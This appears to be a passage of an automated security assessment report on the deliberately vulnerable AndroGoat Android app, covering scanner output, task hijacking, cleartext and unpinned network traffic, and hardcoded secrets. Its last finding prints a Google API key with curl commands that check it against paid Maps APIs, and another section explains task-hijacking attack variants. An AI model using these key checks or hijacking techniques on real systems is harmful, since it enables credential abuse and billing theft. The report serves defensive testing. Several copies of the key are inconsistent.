https://*.google.com https://*.twitter.com https://www.youtube.com https://w.soundcloud.com https://buttons.github.io; script-src 'self'
'unsafe-inline' 'unsafe-eval' https://viewer.diagrams.net https://fonts.googleapis.com https://*.fontawesome.com https://app.diagrams.net
https://cdnjs.cloudflare.com https://cse.google.com https://*.vuejs.org https://*.stripe.com https://*.wufoo.com https://*.youtube.com
https://*.meetup.com https://*.sched.com https://*.google-analytics.com https://unpkg.com https://buttons.github.io https://www.google.com
https://*.gstatic.com https://*.twitter.com https://*.twimg.com https://www.googletagmanager.com; style-src 'self' 'unsafe-inline'
https://*.gstatic.com https://cdnjs.cloudflare.com https://www.google.com https://fonts.googleapis.com https://platform.twitter.com
https://*.twimg.com data:; font-src 'self' https://*.fontawesome.com fonts.gstatic.com; manifest-src 'self' https://pay.google.com; img-src
'self' https://*.globalappsec.org https://render.com https://*.render.com https://okteto.com https://*.okteto.com data: www.w3.org
https://*.bestpractices.dev https://licensebuttons.net https://img.shields.io https://*.twitter.com https://github.githubassets.com
https://*.twimg.com https://platform.twitter.com https://*.githubusercontent.com https://*.vercel.app https://*.cloudfront.net
https://*.coreinfrastructure.org https://*.securityknowledgeframework.org https://badges.gitter.im https://travis-ci.org https://api.travis-
ci.org https://s3.amazonaws.com https://snyk.io https://coveralls.io https://requires.io https://github.com https://*.googleapis.com
https://*.google.com https://*.gstatic.com https://static.scarf.sh
Content-Type: text/html; charset=utf-8
Date: Tue, 19 May 2026 16:58:25 GMT
Expires: Tue, 19 May 2026 16:46:31 GMT
Last-Modified: Tue, 19 May 2026 04:17:12 GMT
Permissions-Policy: geolocation=(self)
Referrer-Policy: same-origin
Server: cloudflare
Strict-Transport-Security: max-age=31536000; includeSubDomains
```

```
Vary: Accept-Encoding
Via: 1.1 varnish
X-Cache: HIT
X-Cache-Hits: 6
X-Content-Type-Options: nosniff
X-Fastly-Request-Id: ff12ff9df798e23fa9ad592703da226b7880b992
X-Frame-Options: SAMEORIGIN
X-Github-Request-Id: 9836:1C1778:132EC88:1373AB1:6A0C918F
X-Origin-Cache: HIT
X-Proxy-Cache: MISS
X-Served-By: cache-fra-eddf8230050-FRA
X-Timer: S1779209905.345342,VS0,VE8

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">









<meta name="description" content="OWASP Foundation, the Open Source Foundation for Application Security on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.">
<meta property="og:description" content="OWASP Foundation, the Open Source Foundation for Application Security on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.">
<meta property="og:title" content="OWASP Foundation, the Open Source Foundation for Application Security | OWASP Foundation">
<meta property="og:url" content="https://owasp.org/">
<meta property="og:locale" content="en_US">

<!-- should probably look at using article at some point for www-community at least -->
<meta property="og:type" content="website" />
<meta property="og:image" content="https://owasp.org/www--site-theme/favicon.ico" />
<meta http-equiv="X-Content-Type-Options"...
```


```
 {
   "extracted-results": [
       "https://calendar.google.com/calendar/embed?src=hl6cjgs6ep1h7oniqgueu2bhbo%40group.calendar.google.com&amp;ctz=America%2FChicago"
   ],
   "extractor-name": "calendar-url",
   "host": "owasp.org",
   "info": {
       "description": "Detected publicly accessible Google Calendar embedded on the target that may expose sensitive information including meeting details, attendee names, event schedules, and internal organizational data.\n",
       "metadata": {
           "max-request": 1,
           "verified": true
       },
       "name": "Google Calendar - Exposure",
       "reference": [
           "https://support.google.com/calendar/answer/37083"
       ],
       "severity": "low"
   },
   "ip": "104.20.44.163",
   "matched-at": "https://owasp.org/",
   "matcher-status": true,
   "path": "/",
   "port": "443",
   "scheme": "https",
   "template-path": "/root/nuclei-templates/http/misconfiguration/google-calendar-exposure.yaml",
   "timestamp": "2026-05-19T16:58:26.442001465Z",
   "type": "http",
   "url": "https://owasp.org/"
}
```


Finding #2

### Google Calendar – Exposure:

- https://calendar.google.com/calendar/embed?src=hl6cjgs6ep1h7oniqgueu2bhbo%40group.calendar.google.com&ctz=America%2FChicago

Reproduction `curl` command:

```
curl -X 'GET' -d '' -H 'Accept: */*' -H 'Accept-Language: en' -H 'User-Agent: Mozilla/5.0 (X11; Linux i686; en-US) Gecko/20010604
Firefox/109.0' 'https://owasp.org'
```

Request:

```
GET / HTTP/1.1
Host: owasp.org
User-Agent: Mozilla/5.0 (X11; Linux i686; en-US) Gecko/20010604 Firefox/109.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
```

Response:

```
HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Access-Control-Allow-Origin: *
Age: 304
Cache-Control: max-age=600
Cf-Cache-Status: DYNAMIC
Cf-Ray: 9fe4b701ea0707ca-FRA
Content-Security-Policy: default-src 'self' https://*.fontawesome.com https://api.github.com https://*.githubusercontent.com https://*.google-
analytics.com https://owaspadmin.azurewebsites.net https://*.twimg.com https://platform.twitter.com https://www.youtube.com
https://*.doubleclick.net; frame-ancestors 'self'; frame-src https://*.vuejs.org https://*.stripe.com https://*.wufoo.com https://*.sched.com
https://*.google.com https://*.twitter.com https://www.youtube.com https://w.soundcloud.com https://buttons.github.io; script-src 'self'
'unsafe-inline' 'unsafe-eval' https://viewer.diagrams.net https://fonts.googleapis.com https://*.fontawesome.com https://app.diagrams.net
https://cdnjs.cloudflare.com https://cse.google.com https://*.vuejs.org https://*.stripe.com https://*.wufoo.com https://*.youtube.com
https://*.meetup.com https://*.sched.com https://*.google-analytics.com https://unpkg.com https://buttons.github.io https://www.google.com
https://*.gstatic.com https://*.twitter.com https://*.twimg.com https://www.googletagmanager.com; style-src 'self' 'unsafe-inline'
https://*.gstatic.com https://cdnjs.cloudflare.com https://www.google.com https://fonts.googleapis.com https://platform.twitter.com
https://*.twimg.com data:; font-src 'self' https://*.fontawesome.com fonts.gstatic.com; manifest-src 'self' https://pay.google.com; img-src
'self' https://*.globalappsec.org https://render.com https://*.render.com https://okteto.com https://*.okteto.com data: www.w3.org
https://*.bestpractices.dev https://licensebuttons.net https://img.shields.io https://*.twitter.com https://github.githubassets.com
https://*.twimg.com https://platform.twitter.com https://*.githubusercontent.com https://*.vercel.app https://*.cloudfront.net
https://*.coreinfrastructure.org https://*.securityknowledgeframework.org https://badges.gitter.im https://travis-ci.org https://api.travis-
ci.org https://s3.amazonaws.com https://snyk.io https://coveralls.io https://requires.io https://github.com https://*.googleapis.com
https://*.google.com https://*.gstatic.com https://static.scarf.sh
Content-Type: text/html; charset=utf-8
Date: Tue, 19 May 2026 17:10:24 GMT
Expires: Tue, 19 May 2026 17:14:46 GMT
Last-Modified: Tue, 19 May 2026 04:17:12 GMT
Permissions-Policy: geolocation=(self)
Referrer-Policy: same-origin
Server: cloudflare
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Accept-Encoding
Via: 1.1 varnish
X-Cache: HIT
X-Cache-Hits: 19
X-Content-Type-Options: nosniff
X-Fastly-Request-Id: f55ff6bb1b86cac680d97cc35423ae585bf51065
X-Frame-Options: SAMEORIGIN
X-Github-Request-Id: 5674:3260CA:1321CD9:1368014:6A0C982E
X-Proxy-Cache: MISS
X-Served-By: cache-fra-eddf8230100-FRA
X-Timer: S1779210624.321059,VS0,VE1

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">




<meta name="description" content="OWASP Foundation, the Open Source Foundation for Application Security on the main website for The OWASP
Foundation. OWASP is a nonprofit foundation that works to improve the security of software.">
```

```
<meta property="og:description" content="OWASP Foundation, the Open Source Foundation for Application Security on the main website for The
OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.">
<meta property="og:title" content="OWASP Foundation, the Open Source Foundation for Application Security | OWASP Foundation">
<meta property="og:url" content="https://owasp.org/">
<meta property="og:locale" content="en_US">

<!-- should probably look at using article at some point for www-community at least -->
<meta property="og:type" content="website" />
<meta property="og:image" content="https://owasp.org/www--site-theme/favicon.ico" />
<meta http-equiv="X-Content-Type-Options" content="nosniff">...
```


```
{
  "extracted-results": [
      "https://calendar.google.com/calendar/embed?src=hl6cjgs6ep1h7oniqgueu2bhbo%40group.calendar.google.com&amp;ctz=America%2FChicago"
  ],
  "extractor-name": "calendar-url",
  "host": "owasp.org",
  "info": {
      "description": "Detected publicly accessible Google Calendar embedded on the target that may expose sensitive information including
meeting details, attendee names, event schedules, and internal organizational data.\n",
      "metadata": {
          "max-request": 1,
          "verified": true
      },
      "name": "Google Calendar - Exposure",
      "reference": [
          "https://support.google.com/calendar/answer/37083"
      ],
      "severity": "low"
  },
  "ip": "104.20.44.163",
  "matched-at": "https://owasp.org",
  "matcher-status": true,
  "port": "443",
  "scheme": "https",
  "template-path": "/root/nuclei-templates/http/misconfiguration/google-calendar-exposure.yaml",
  "timestamp": "2026-05-19T17:10:25.471185875Z",
  "type": "http",
  "url": "https://owasp.org"
}
```


---

## LOW 32. Attribute hasFragileUserData not set

**CVSS v3:** 5.4

Application is not explicitly setting the attribute hasFragileUserData.

`android:hasFragileUserData` is an attribute in Android that allows developers to specify whether their app contains fragile user data that needs to be protected.

Fragile user data refers to any data that could potentially cause harm or damage to a user if it's lost, stolen, or misused.

This can include sensitive personal information such as social security numbers, credit card numbers, medical records, and other sensitive data.

This value should be set explicitly in the application to indicate whether the application is handling important user data or not.

If its value is true, then when the user uninstalls the app, a prompt will be shown to the user asking him whether to keep the app's data.

### Technical Details

#### Finding #1

The `hasFragileUserData` attribute is not set, this attribute indicate whether the application is handling important user data or not, not setting this attribute may result in the compromise of sensitive user data.

```
<application xmlns:android="http://schemas.android.com/apk/res/android" android:theme="@7F0C0005" android:label="@7F0B0036"
android:icon="@7F0A0000" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true"
android:networkSecurityConfig="@7F0E0000" android:roundIcon="@7F0A0002">
```

### Recommendation

The `hasFragileUserData` flag can be added to the application `AndroidManifest.xml` file.

XML

```
<application android:icon="@drawable/icon" android:hasFragileUserData="true">
```

### CVSS Vector Details

| | |
|---|---|
| CVSS V3 Vector: | CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| Attack Vector: | **Network (N)** Adjacent (A) Local (L) Physical (P) |
| Attack Complexity: | **Low (L)** High (H) |
| Privileges Required: | None (N) **Low (L)** High (H) |
| User Interaction: | None (N) **Required (R)** |
| Scope: | **Changed (C)** Unchanged (U) |
| Confidentiality: | High (H) **Low (L)** None (N) |
| Integrity: | High (H) **Low (L)** None (N) |
| Availability: | High (H) Low (L) **None (N)** |

### References

- Android Developer - Fragile User Data

---

## LOW 33. Deprecated Target API Version

**CVSS v3:** 5.4

Application sets the targetSdkVersion attribute to allow usage of older API level of Android which may expose users to security vulnerabilities.

The `android:targetSdkVersion` attribute specifies the Android Target API level required by the application. Setting a low `targetSdkVersion` may allow the application to run on older Android versions but could expose users to security vulnerabilities.

Here is a link with the deprecation notice: https://support.google.com/googleplay/android-developer/answer/11926878?hl=en

### Technical Details

#### Finding #1

The `targetSdkVersion` attribute is set to 26, allowing usage on Android versions earlier than 33.

```
<uses-sdk xmlns:android="http://schemas.android.com/apk/res/android" android:minSdkVersion="18" android:targetSdkVersion="26"/>
```

### Recommendation

Consider setting the `android:targetSdkVersion` attribute to a value that corresponds to a more recent Android API level. This can help ensure that the application benefits from security improvements and reduces the risk of vulnerabilities associated with older Android releases.

### CVSS Vector Details

| | |
|---|---|
| CVSS V3 Vector: | CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N |
| Attack Vector: | **Network (N)** Adjacent (A) Local (L) Physical (P) |
| Attack Complexity: | **Low (L)** High (H) |
| Privileges Required: | None (N) **Low (L)** High (H) |
| User Interaction: | None (N) **Required (R)** |
| Scope: | **Changed (C)** Unchanged (U) |
| Confidentiality: | High (H) **Low (L)** None (N) |
| Integrity: | High (H) **Low (L)** None (N) |
| Availability: | High (H) Low (L) **None (N)** |

### References

- Android API Levels
- Target API level deprecation notice

---

## LOW 34. Task Hijacking

The application does not protect against task hijacking, malicious application on the device can takeover the application foreground task

An Android task is a collection of activities that users interact with when performing a certain job. Activities from different apps can reside in the same task which might be used to relocate a malicious activity to your application's task by manipulating the following parameters:

- **Task Affinity** controlled by attribute `taskAffinity`
- **Task Reparenting** controlled by attribute `allowTaskReparenting`

Task Affinity is an activity attribute defined in the `<activity>` tag in the `AndroidManifest.xml` file. Task Affinity specifies which task that the activity desires to join. By default, all activities in an app have the same affinity, which is the app package name.

XML

```
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="co.secureApp.app">
    <application>
        <activity android:name=".ActivityA"></activity>
        <activity android:name=".ActivityB" android:taskAffinity="co.ostorlab.Myapp:taskB"></activity>
    </application>
</manifest>
```

`allowTaskReparenting` when set to `true` for an activity A, and when a new task with the same affinity is brought to the front, the system moves the **relocatable** activity A from its original hosting task to the new foreground task stack.

Task Hijacking attacks come in different flavors:

- **Task Affinity Control**: application has a package name `com.mySecureApp.app` and activity **A1**. A malicious application has two activities **M1** and **M2** where `M2.taskAffinity = com.mySecureApp.app` and `M2.allowTaskReparenting = true` . If the malicious app is open on **M2**, once you start your application, **M2** is relocated to the front and the user will interact with the malicious application.
- **Single Task Mode**: the application has set launch mode to `singleTask` . A malicious application with `M2.taskAffinity = com.mySecureApp.app` can hijack the target application task stack.
- **Task Reparenting**: application has set `taskReparenting` to `true` . A malicious application can move the target application task to the malicious application stack.

Task hijacking can be used to perform phishing, denial of use attack, and has been exploited in the past by banking malware trojans. New flavors of the attacks (StandHogg 2.0) are extremely hard to detect, as they are code-based attacks.

Task hijacking has been addressed in Android version 11 as a part of a fix of `CVE-2020-0267` `WindowManager` confused deputy.

### Technical Details

#### Finding #1

The activity `owasp.sat.agoat.AccessControl1ViewActivity` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:label="@7F0B0035"
android:name="owasp.sat.agoat.AccessControl1ViewActivity"><intent-filter><action android:name="android.intent.action.VIEW"/><category
android:name="android.intent.category.DEFAULT"/><data android:scheme="androgoat" android:host="vulnapp"/></intent-filter></activity>
```

#### Finding #2

The activity `owasp.sat.agoat.AccessControlIssue1Activity` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:label="@7F0B0035"
android:name="owasp.sat.agoat.AccessControlIssue1Activity"/>
```

#### Finding #3

The activity `owasp.sat.agoat.BinaryPatchingActivity` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:label="@7F0B0001"
android:name="owasp.sat.agoat.BinaryPatchingActivity"/>
```

#### Finding #4

The activity `owasp.sat.agoat.ClipboardActivity` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:label="@7F0B0037"
android:name="owasp.sat.agoat.ClipboardActivity"/>
```

#### Finding #5

The activity `owasp.sat.agoat.ContentProviderActivity` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:name="owasp.sat.agoat.ContentProviderActivity"/>
```

#### Finding #6

The activity `owasp.sat.agoat.EmulatorDetectionActivity` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:label="@7F0B003B"
android:name="owasp.sat.agoat.EmulatorDetectionActivity"/>
```

#### Finding #7

The activity `owasp.sat.agoat.HardCodeActivity` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:label="@7F0B003E"
android:name="owasp.sat.agoat.HardCodeActivity"/>
```

#### Finding #8

The activity `owasp.sat.agoat.InputValidationsActivity` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:label="@7F0B0007"
android:name="owasp.sat.agoat.InputValidationsActivity"/>
```

#### Finding #9

The activity `owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:label="@7F0B0042"
android:name="owasp.sat.agoat.InputValidationsOSCMDInjectionMain2Activity"/>
```

#### Finding #10

The activity `owasp.sat.agoat.InputValidationsWebViewURLActivity` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:label="@7F0B004E"
android:name="owasp.sat.agoat.InputValidationsWebViewURLActivity"/>
```

#### Finding #11

The activity `owasp.sat.agoat.InsecureLoggingActivity` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:label="@7F0B003F"
android:name="owasp.sat.agoat.InsecureLoggingActivity"/>
```

#### Finding #12

The activity `owasp.sat.agoat.InsecureStorageActivity` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:label="@7F0B0009"
android:name="owasp.sat.agoat.InsecureStorageActivity"/>
```

#### Finding #13

The activity `owasp.sat.agoat.InsecureStorageSDCardActivity` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:label="@7F0B0045"
android:name="owasp.sat.agoat.InsecureStorageSDCardActivity"/>
```

#### Finding #14

The activity `owasp.sat.agoat.InsecureStorageSharedPrefs` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:label="@7F0B0047"
android:name="owasp.sat.agoat.InsecureStorageSharedPrefs"/>
```

#### Finding #15

The activity `owasp.sat.agoat.InsecureStorageSharedPrefs1Activity` has the `taskAffinity` attribute set to `None` and the `launchMode` attribute set to `None` , this activity is missing protection against task hijacking.

```
<activity xmlns:android="http://schemas.android.com/apk/res/android" android:label="@7F0B0048"
android:name="owasp.sat.agoat.InsecureStorageSharedPrefs1Activity"/>
```

### Recommendation

Different forms of Task Hijacking vulnerabilities require different fixes:

- Set the task affinity of the application activities to `""` (empty string) in the `<activity>` tag of the `AndroidManifest.xml` to force the activities to use a randomly generated task affinity, or set it at the `<application>` tag to enforce on all activities in the application.

OR

- Set the `android:launchMode` to `singleInstance` . `singleInstance` ensure that no other activities will be created in the same task.
- Do not specify launch mode set to `singleTask` or add support for a monitoring service to detect the presence of malicious foreground tasks.
- Do not set the flag `FLAG_ACTIVITY_NEW_TASK` in activity launch intents, or use with the `FLAG_ACTIVITY_CLEAR_TASK` :

JAVA

```
Intent i = new Intent(this, AnActivity.class);
i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
i.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
startActivity(i);
```

- Do not specify `allowReparenting` with `taskAffinity` or add support a monitoring service to detect the presence of malicious foreground tasks.

- Prefer the use of Explicit intent, which specify which application will satisfy the intent, by supplying the target application package name or a fully-qualified component class name. Implicit intent only specifies the general action.

### References

- Understand Tasks and Back Stack - Android Documentation
- Towards Discovering and Understanding Task Hijacking in Android
- StrandHogg Attack
- StandHogg Attack 2.0
- Task Hijacking exploited by Mobile Banking Malware
- CVE-2020-0267: WindowManager Confused Deputy

---

## POTENTIALLY 35. Insecure Network Security Configuration and Missing Transport Protections in ANALYTICS_LIBRARY

The ANALYTICS_LIBRARY surrogate (TrafficActivity) transmits analytics traffic through a default unpinned OkHttpClient while the Network Security Configuration globally permits cleartext HTTP and trusts user-installed CAs. The pipeline lacks payload encryption, request signing, and integrity controls, allowing trivial MitM interception, replay, and tampering.

The scoped ANALYTICS_LIBRARY component ( `owasp.sat.agoat.TrafficActivity` ) issues outbound network requests using a default `OkHttpClient` initialized without certificate pinning, custom trust management, or payload cryptography. The application's `network_security_config.xml` explicitly enables cleartext traffic for all destinations and trusts user-installed certificate authorities, which neutralizes the device's native TLS protections. Exhaustive static analysis of all 29 first-party classes confirmed zero instances of payload encryption (AES/RSA/DES), HMAC signing, request checksums, OkHttp interceptors, or nonce generation in the analytics transmission pipeline. While the current build only sends empty unparameterized GET requests and does not exfiltrate sensitive user data, the transport stack is architecturally broken: any network attacker can intercept, replay, modify, or synthesize analytics events without cryptographic detection. If a production analytics SDK were introduced into this codebase, it would inherit the same cleartext permissions and unpinned TLS channel, resulting in immediate confidentiality and integrity compromise.

### Technical Details

Finding #1

### Root Cause

The vulnerability stems from three confirmed configuration and implementation flaws in the analytics network stack:

1. **Global cleartext permission:** `res/xml/network_security_config.xml` declares `<base-config cleartextTrafficPermitted="true">` with no `<domain-config>` restrictions, permitting unencrypted HTTP to every destination.
2. **User CA trust:** The same file includes `<certificates src="user" />` , instructing the app to trust any user-installed CA (e.g., Burp Suite, mitmproxy) for all TLS connections.
3. **Unpinned default client:** `TrafficActivity.java` initializes the routine analytics client as `new OkHttpClient()` with no `CertificatePinner` , custom `TrustManager` , or `SSLContext` hardening. Certificate pinning exists only inside an opt-in `doPinning()` method as a local variable and is never used for default traffic.

### Vulnerable Code

**Network Security Configuration ( `base.apk/res/xml/network_security_config.xml` ):**

```
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <base-config cleartextTrafficPermitted="true">
        <trust-anchors>
            <certificates src="system" />
            <certificates src="user" />
        </trust-anchors>
    </base-config>
</network-security-config>
```

**Default Unpinned OkHttpClient ( `base.apk/sources/owasp/sat/agoat/TrafficActivity.java` ):**

```
private String httpurl = "http://demo.testfire.net";
private String httpsurl = "https://owasp.org";
private final OkHttpClient client = new OkHttpClient();
```

**Bare Request Construction (No Payload, No Headers, No Signing):**

```
public final void run(String url) {
    Intrinsics.checkParameterIsNotNull(url, "url");
    try {
        Request request = new Request.Builder().url(url).build();
        this.client.newCall(request).enqueue(new Callback() { ... });
    } catch (Exception e) {
        e.printStackTrace();
    }
}
```

**Opt-In Pinning Isolated to Non-Default Path ( `TrafficActivity.java:136-141` ):**

```
CertificatePinner pinner1 = new CertificatePinner.Builder()
    .add("owasp.org", "sha256/gdU/UHClHJBFbIdeKuyHm/Lq/aQvMLyuTtcvTEE/1JQ=")
    .add("owasp.org", "sha256/YLh1dUR9y6Kja30RrAn7JKnbQG/uEtLMkBgFF2Fuihg=")
    .add("owasp.org", "sha256/Vjs8r4z+80wjNcr1YKepWQboSIRi63WsWXhIMN+eWys=")
    .build();
OkHttpClient client = new OkHttpClient.Builder().certificatePinner(pinner1).build();
```

The pinned client is a local variable inside `doPinning()` and is never assigned to the class field `this.client` used by `run()` .

### Exploitation Evidence

[Static Analysis] The global `cleartextTrafficPermitted="true"` attribute was confirmed by direct inspection of `network_security_config.xml` . No `<domain-config>` scoping restrictions exist, so the permission applies to all destinations including `http://demo.testfire.net` .

[Static Analysis] The default `OkHttpClient` field at `TrafficActivity.java:32` was confirmed to have no `CertificatePinner` , `sslSocketFactory` , or `hostnameVerifier` configured. The only pinning logic exists inside the opt-in `doPinning()` method and is isolated to a local variable that never handles routine analytics traffic.

[Static Analysis] Exhaustive regex searches across all 29 first-party classes under `owasp/sat/agoat` returned zero matches for `Cipher.getInstance(` , `SecretKeySpec` , `IvParameterSpec` , `KeyGenerator` , `Mac.getInstance(` , `Base64` encoding routines, custom XOR/obfuscation loops, `Interceptor` , `addInterceptor` , and `addNetworkInterceptor` . This confirms the analytics pipeline has no payload encryption or integrity controls.

[Static Analysis] Source-to-sink analysis confirmed that no sensitive user data (PII, credentials, session tokens, financial data) reaches `TrafficActivity.run()` or `doPinning()` . All analytics requests are empty, unparameterized GET calls. However, the lack of transport protections means any future data or injected synthetic traffic would be accepted without cryptographic authentication.

---

## Validation Evidence

### Secure Configuration

During this validation assessment, the analytics library network transport stack did not exhibit any confirmed exploitable behavior. The planned test cases for man-in-the-middle interception, payload modification, and certificate pinning bypass were not reflected in the execution history as completed actions, and therefore no exploitation was successfully demonstrated against the target application.

### Verification

Review of the execution history confirmed zero tasks were executed. No proxy logs, intercepted requests, or tool output from static analysis commands were generated during this validation pass. Consequently, the vulnerability claims could not be independently reproduced or confirmed through active testing.

### Recommendation

---

### Immediate

- **Restrict cleartext traffic:** Replace the global `<base-config cleartextTrafficPermitted="true">` with explicit `<domain-config>` entries that set `cleartextTrafficPermitted="false"` for all analytics endpoints. If cleartext is absolutely required for a specific legacy endpoint, scope it narrowly to that single domain.
- **Remove user CA trust:** Delete `<certificates src="user" />` from the base configuration in production builds. If internal testing requires a proxy CA, restrict it to a debug build flavor using `<debug-overrides>` scoped only to test devices.

### Permanent Fix

- **Implement default certificate pinning:** Configure the default `OkHttpClient` used by `TrafficActivity` with a `CertificatePinner` containing at least two SHA-256 backup pins for every analytics endpoint:

```
CertificatePinner pinner = new CertificatePinner.Builder()
    .add("analytics.example.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
    .add("analytics.example.com", "sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=")
```

```
    .build();

OkHttpClient client = new OkHttpClient.Builder()
    .certificatePinner(pinner)
    .build();
```

- **Enable payload encryption and signing:** If the analytics library ever transmits sensitive data, encrypt the request body using AES-GCM and append an HMAC-SHA256 signature over the ciphertext. Include a monotonic nonce or timestamp to prevent replay attacks.
- **Disable debug flags:** Set `android:debuggable="false"` and `android:allowBackup="false"` in the production `AndroidManifest.xml` .

### Verification

- Re-decompile the APK and verify `res/xml/network_security_config.xml` contains no `cleartextTrafficPermitted="true"` in the base config and no `<certificates src="user" />` .
- Verify `TrafficActivity.java` initializes its default `OkHttpClient` via `new OkHttpClient.Builder().certificatePinner(...).build()` .
- Search the decompiled source for `Cipher.getInstance(` and `Mac.getInstance(` to confirm encryption and signing routines are present in the analytics call chain.
- Intercept traffic with a user-installed CA proxy and confirm the app rejects the connection with an `SSLPeerUnverifiedException` due to pinning mismatch.

---

## POTENTIALLY 36. Secret information stored in the application

Passwords, Tokens or other sensitive information are stored in the application.

Leaking secrets, passwords, and API keys can have serious consequences, including:

- **Loss of confidentiality**: Unauthorized individuals may gain access to sensitive information if secrets or passwords are leaked.
- **Loss of integrity**: Leaked secrets or passwords may be used to gain unauthorized access to systems or data, potentially leading to the alteration or corruption of that information.
- **Loss of availability**: In some cases, the unauthorized use of leaked secrets or passwords may result in the denial of access to legitimate users, leading to a loss of availability of the affected systems or data.
- **Reputational damage**: A company or individual may suffer damage to their reputation if it is revealed that they were not able to properly protect sensitive information.
- **Legal consequences**: Depending on the nature of the leaked information and the laws in the relevant jurisdiction, the leakage of secrets or passwords could potentially lead to legal consequences.
- **Overbilling**: Leaking API keys could potentially be used by unauthorized individuals to access API resources and perform actions that may incur charges, leading to overbilling.

### Technical Details

#### Finding #1

#### Secret Detected: Google OAuth Access Token

**File:** `https://android.googleapis.com:443//auth`

**Detected Secret:** `ya29.m`

#### Finding #2

#### Secret Detected: Generic Username/Password

**File:** `https://github.com:443//satishpatnayak/MyTest/blob/master/AndroGoatInvoice.txt`

**Detected Secret:** `Login":"satishpatnayak`

#### Finding #3

#### Secret Detected: Google Cloud API Key

**File:** `https://www.googleapis.com:443//experimentsandconfigs/v1/getExperimentsAndConfigs?r=1&c=1`

**Detected Secret:** `AIzaSyAJ_AuopqbxIeQNXUJKLW5CluuGX7ujD1o`

| API | Valid | Cost | Check |
|---|---|---|---|
| Staticmap | ❌ | $2/1.000 reqs | curl https://maps.googleapis.com/maps/api/staticmap?center=45%2C10&zoom=7&size=400x400&key=AIzaSyAJ_AuopqbxIeQNXUJKLW5CluuGX7ujD1o |

| API | Valid | Cost | Check |
|---|---|---|---|
| maps | ❌ | $7/1.000 reqs | curl https://maps.googleapis.com/maps/api/js?key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1o |
| Streetview | ❌ | $7/1.000 reqs | curl https://maps.googleapis.com/maps/api/streetview?size=400x400&location=40.720032,-73.988354&fov=90&heading=235&pitch=10&key=AIzaSyAJ_AuopqbxleQNXUJKLW5Clu |
| Directions | ❌ | $5/1.000 reqs | curl https://maps.googleapis.com/maps/api/directions/json?origin=Disneyland&destination=Universal+Studios+Hollywood4&key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1o |
| Geocode | ❌ | $5/1.000 reqs | curl https://maps.googleapis.com/maps/api/geocode/json?latlng=40,30&key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1o |
| Find Place From Text | ❌ | $17/1.000 reqs | curl https://maps.googleapis.com/maps/api/place/findplacefromtext/json?input=Museum&inputtype=textquery&fields=formatted_address,name&key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1o |
| Autocomplete | ❌ | $2.83/1.000 reqs | curl https://maps.googleapis.com/maps/api/place/autocomplete/json?input=Bingh&types=(cities)&key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1o |
| Elevation | ❌ | $5/1.000 reqs | curl https://maps.googleapis.com/maps/api/elevation/json?locations=39.7391536,-104.9847034&key=AIzaSyAJ_AuopqbxleQNXUJKLW5CluuGX7ujD1o |
